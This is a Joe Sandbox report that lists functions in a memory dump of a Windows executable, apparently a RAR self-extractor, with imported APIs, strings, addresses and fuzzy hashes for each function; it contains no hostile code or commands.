Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AllocGlobal
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2721297748-1533471033
Opcode ID: cfef3d20ae1ea1e771d0f4b428877c633816d15235bb3192cbe0bbbd29cc77e1
Instruction ID: 315273a7a9dd0b7dcf14cb78adff81721a86e1ca13cca70ae5c77572d578bbd5
Opcode Fuzzy Hash: cfef3d20ae1ea1e771d0f4b428877c633816d15235bb3192cbe0bbbd29cc77e1
Instruction Fuzzy Hash: D181AF62B19A4696FB04EFA6D4902EDB371BB44B84F804535CF2D177DAEE38D506C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7E9A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF7F4D7E9BE

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Item$Text
String ID: LICENSEDLG
API String ID: 1601838975-2177901306
Opcode ID: b6b3d31fd237dc538bae67d25694d29fd7603d5cdce674f81891652934a12be7
Instruction ID: bbb666a7da5b4f454d7649767b48a808fc2adf441f9f915a81cb07f641eb35d2
Opcode Fuzzy Hash: b6b3d31fd237dc538bae67d25694d29fd7603d5cdce674f81891652934a12be7
Instruction Fuzzy Hash: E941A021A1865283FB64AF13E8847B8B7A1FB85B90F840135DB2E03BD5DF3CA54583A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6BD2C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7F4D6BE42

Part of subcall function 00007FF7F4D6DC08: GetSystemDirectoryW.KERNEL32 ref: 00007FF7F4D6DC5F

GetProcAddress.KERNEL32 ref: 00007FF7F4D6BD8A
GetProcAddress.KERNEL32 ref: 00007FF7F4D6BDA5

Strings

CryptUnprotectMemory failed, xrefs: 00007FF7F4D6BE39
Crypt32.dll, xrefs: 00007FF7F4D6BD68
CryptUnprotectMemory, xrefs: 00007FF7F4D6BD97
CryptProtectMemory failed, xrefs: 00007FF7F4D6BDF8
CryptProtectMemory, xrefs: 00007FF7F4D6BD80

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: 650d80ab3b9444374d6aba1c01b0a764a9533b8d21915374c342d0535c25459a
Instruction ID: 997ca529c5e6b2a4487609d8058f314b5c1c67c0c3c3f4fa2f87cd1010c65b83
Opcode Fuzzy Hash: 650d80ab3b9444374d6aba1c01b0a764a9533b8d21915374c342d0535c25459a
Instruction Fuzzy Hash: BA313824A0AA96A3EB04AF17E8D0174F7A0BF45B94B854135CB7E477E9DF3CE44187A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7C3D4 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7C9B2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7C9BE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7C9CA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7C9D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7C9DC

Strings

, xrefs: 00007FF7F4D7C651
, xrefs: 00007FF7F4D7C4BA

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: 81ccb3cb22b2da4d31f11f4697d00a3e73a363ac1590a73fca997ac7dc05c7b6
Instruction ID: ce4df45bbf1bc5b94d771da1f33679a1247ee5db86f3b70d90c8e67b71d5092b
Opcode Fuzzy Hash: 81ccb3cb22b2da4d31f11f4697d00a3e73a363ac1590a73fca997ac7dc05c7b6
Instruction Fuzzy Hash: 74F19E62F24A4686EB10AF66D4C81BCB361BB45FD8F905631CB6D136D9DF7CE18083A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D88D3C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7F4D88EDA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7F4D891FD
abort.LIBCMT ref: 00007FF7F4D89231

Strings

csm, xrefs: 00007FF7F4D88E83
csm, xrefs: 00007FF7F4D88E21
csm, xrefs: 00007FF7F4D88F01

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: fc96c41de242e073b5df66b8ea50f0a6a3e6c880f4afa60ca767e4a75ab88775
Instruction ID: 3ea25efa51b1dc97265eebbab448369fa12923328a7d2b4c21c637cc8ff3d5cd
Opcode Fuzzy Hash: fc96c41de242e073b5df66b8ea50f0a6a3e6c880f4afa60ca767e4a75ab88775
Instruction Fuzzy Hash: 28E18E72A087828BE711AF26D4C02BDB7A0FB44B48F940135EBAD576D6DF38E481C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D71BBC Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D70A5C: CompareStringW.KERNEL32(?,?,00007FF7F4D66C19), ref: 00007FF7F4D70A7B

Part of subcall function 00007FF7F4D612BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D613B6

Part of subcall function 00007FF7F4D70A8C: CompareStringW.KERNEL32 ref: 00007FF7F4D70AFC

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D71D8A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D71D90
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D71DED

Strings

z%s%02d, xrefs: 00007FF7F4D71DDA
.zipx, xrefs: 00007FF7F4D71C03, 00007FF7F4D71C12
.zx, xrefs: 00007FF7F4D71C5A, 00007FF7F4D71C69

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskswprintf
String ID: .zipx$.zx$z%s%02d
API String ID: 2859674139-515631857
Opcode ID: f06826b8e781a727c2983ec197f4ca2108c271821059ba588ffbc3eac0866503
Instruction ID: eb2c33167a77e07b281e51e260b302c7e8a0851622f48b7c4be668a6e50e6fbd
Opcode Fuzzy Hash: f06826b8e781a727c2983ec197f4ca2108c271821059ba588ffbc3eac0866503
Instruction Fuzzy Hash: 1671A222A15B429AEB10EF66D4D13EDB361FB84788F805236EB6C46BD9DF38D144C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8A83C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF7F4D8AA43,?,?,?,00007FF7F4D887AE,?,?,?,00007FF7F4D88769), ref: 00007FF7F4D8A8C1
GetLastError.KERNEL32(?,?,00000000,00007FF7F4D8AA43,?,?,?,00007FF7F4D887AE,?,?,?,00007FF7F4D88769), ref: 00007FF7F4D8A8CF
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF7F4D8AA43,?,?,?,00007FF7F4D887AE,?,?,?,00007FF7F4D88769), ref: 00007FF7F4D8A8F9
FreeLibrary.KERNEL32(?,?,00000000,00007FF7F4D8AA43,?,?,?,00007FF7F4D887AE,?,?,?,00007FF7F4D88769), ref: 00007FF7F4D8A93F
GetProcAddress.KERNEL32(?,?,00000000,00007FF7F4D8AA43,?,?,?,00007FF7F4D887AE,?,?,?,00007FF7F4D88769), ref: 00007FF7F4D8A94B

Strings

api-ms-, xrefs: 00007FF7F4D8A8E1

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: a53087c635860471f9d53db6ac0d0f9dab27908d44bc4eb3c5a00c2008766543
Instruction ID: c69b589f3a86ac6de5242902effc27d821b6766e9b51fd62b4515ccba8c45992
Opcode Fuzzy Hash: a53087c635860471f9d53db6ac0d0f9dab27908d44bc4eb3c5a00c2008766543
Instruction Fuzzy Hash: 5F315C21A1FA4692EB15BF43E880675B394BF45BA4FDA0535DE6D4A3D1DF3CE44082A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D85054 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF7F4D84FC3,?,?,?,00007FF7F4D8537A), ref: 00007FF7F4D8507B
GetProcAddress.KERNEL32(?,?,?,00007FF7F4D84FC3,?,?,?,00007FF7F4D8537A), ref: 00007FF7F4D85098
GetProcAddress.KERNEL32(?,?,?,00007FF7F4D84FC3,?,?,?,00007FF7F4D8537A), ref: 00007FF7F4D850B4

Strings

ReleaseSRWLockExclusive, xrefs: 00007FF7F4D850A3
AcquireSRWLockExclusive, xrefs: 00007FF7F4D8508E
KERNEL32.DLL, xrefs: 00007FF7F4D85074

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 1444f5c98b94489216eec6f642ec7402f856da51c0bc558bc27b28571981de2b
Instruction ID: ecb3bc7b70ec134e664bfadc9e9564ed7e0e1b08b35faa2b0cc634a43d96562a
Opcode Fuzzy Hash: 1444f5c98b94489216eec6f642ec7402f856da51c0bc558bc27b28571981de2b
Instruction Fuzzy Hash: 18111C20B0EB0A83FF65AF03E9D0274B2917F58790FD95435CB6D467D0EE6CA49482E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D89238 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7F4D892A8

Part of subcall function 00007FF7F4D88760: abort.LIBCMT ref: 00007FF7F4D88773

_CallSETranslator.LIBVCRUNTIME ref: 00007FF7F4D892F3
abort.LIBCMT ref: 00007FF7F4D89521

Strings

MOC, xrefs: 00007FF7F4D892BC
RCC, xrefs: 00007FF7F4D892C4

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 3a5394c8939429c7767624c95706d80dee7fb934122ce78df2451405f585be14
Instruction ID: 94d73f5aacae97b5fbd4fd8291ce40cfd4876afb6bdfec7b56468645fe6ace3d
Opcode Fuzzy Hash: 3a5394c8939429c7767624c95706d80dee7fb934122ce78df2451405f585be14
Instruction Fuzzy Hash: 5791A073A08B858AE711DF66E8802ADBBA0FB04788F50413AEF9D17795DF38D195C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D883BC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F4D883E7
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7F4D8847C
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF7F4D866EE), ref: 00007FF7F4D884CB

Strings

f, xrefs: 00007FF7F4D883FA
csm, xrefs: 00007FF7F4D88462

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 2e68525bcb123b69dd3695be73262e4bf93529d5699b69db2b9257dd34a89159
Instruction ID: a5c7f092107c88fb579a20cab9eebbf4ed06cc69f6d2b663e439e6533a202f0e
Opcode Fuzzy Hash: 2e68525bcb123b69dd3695be73262e4bf93529d5699b69db2b9257dd34a89159
Instruction Fuzzy Hash: 7151A632A0960287DB54EF16E484A39B7A5FB44B98F908571EF2E477C8DF38E841C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7B778 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7F4D7B7BF
GetWindowRect.USER32 ref: 00007FF7F4D7B810
ShowWindow.USER32 ref: 00007FF7F4D7B8E6
ShowWindow.USER32 ref: 00007FF7F4D7B913

Strings

RarHtmlClassName, xrefs: 00007FF7F4D7B89B

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 0f7adb0d42835859a445fc98434de89ffe80b21d0821b8be92ccf7b9d4423bc4
Instruction ID: 87f2e2d4e003f6e136bb4fa7b096c9acc66acbe0c748273cb46d66fb2b3f63f5
Opcode Fuzzy Hash: 0f7adb0d42835859a445fc98434de89ffe80b21d0821b8be92ccf7b9d4423bc4
Instruction Fuzzy Hash: CC517236A197828BEB24AF27E49437AF3A0FB85784F840135DB9A42795DF3CE0458790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D83954 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF7F4D839E0
REPLACEFILEDLG, xrefs: 00007FF7F4D839B4, 00007FF7F4D83A19

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 7c8508dbb91623a7f3c2788d42bb5db1e901b31236c0c63f0cf5ebf64345d783
Instruction ID: 71ef72faab57aa03e2d5e610a34bb88b9611b9031e1d852d5a49ad77a7c4168f
Opcode Fuzzy Hash: 7c8508dbb91623a7f3c2788d42bb5db1e901b31236c0c63f0cf5ebf64345d783
Instruction Fuzzy Hash: 7C21D861919A4782EB24AF1BF8C8274F7A0BB45B84F984436CB6D473E4DE3DE15583E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8F450 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7F4D8F470
GetProcAddress.KERNEL32 ref: 00007FF7F4D8F486
FreeLibrary.KERNEL32 ref: 00007FF7F4D8F4AB

Strings

CorExitProcess, xrefs: 00007FF7F4D8F47F
mscoree.dll, xrefs: 00007FF7F4D8F467

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 41ead686425019c1775ba5e3bb7265ff4caf85c1dac70b8825e828e77bbff3ee
Instruction ID: 86014fe641d2e0b9f39c893afdc975fbe8ca7dc5645ee9cf5833d9cddd17250b
Opcode Fuzzy Hash: 41ead686425019c1775ba5e3bb7265ff4caf85c1dac70b8825e828e77bbff3ee
Instruction Fuzzy Hash: 63F03122A1974682EF44AF16E8C4379B361BFC8B90F85103ADB5F866A4DE2CD444C650

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D97A94 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D97AD9

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c548ac832c78b92ec1d923a8916f7dc2217aa72c2b6758b80a72ecf6dff91f0c
Instruction ID: 8a4b494d68329a4ff25be2de5c2e9f869c9aede5ff821588a7c911f6fbfcb903
Opcode Fuzzy Hash: c548ac832c78b92ec1d923a8916f7dc2217aa72c2b6758b80a72ecf6dff91f0c
Instruction Fuzzy Hash: FB818B22B1861686F720AF67DCC06BDB6A4BB44B98F844135DB2E976D5DF38E441C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D65DB8 Relevance: 7.7, APIs: 5, Instructions: 163filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7F4D65E7B
CreateFileW.KERNEL32 ref: 00007FF7F4D65EE4
SetFileTime.KERNEL32 ref: 00007FF7F4D65FAC
CloseHandle.KERNEL32 ref: 00007FF7F4D65FB6
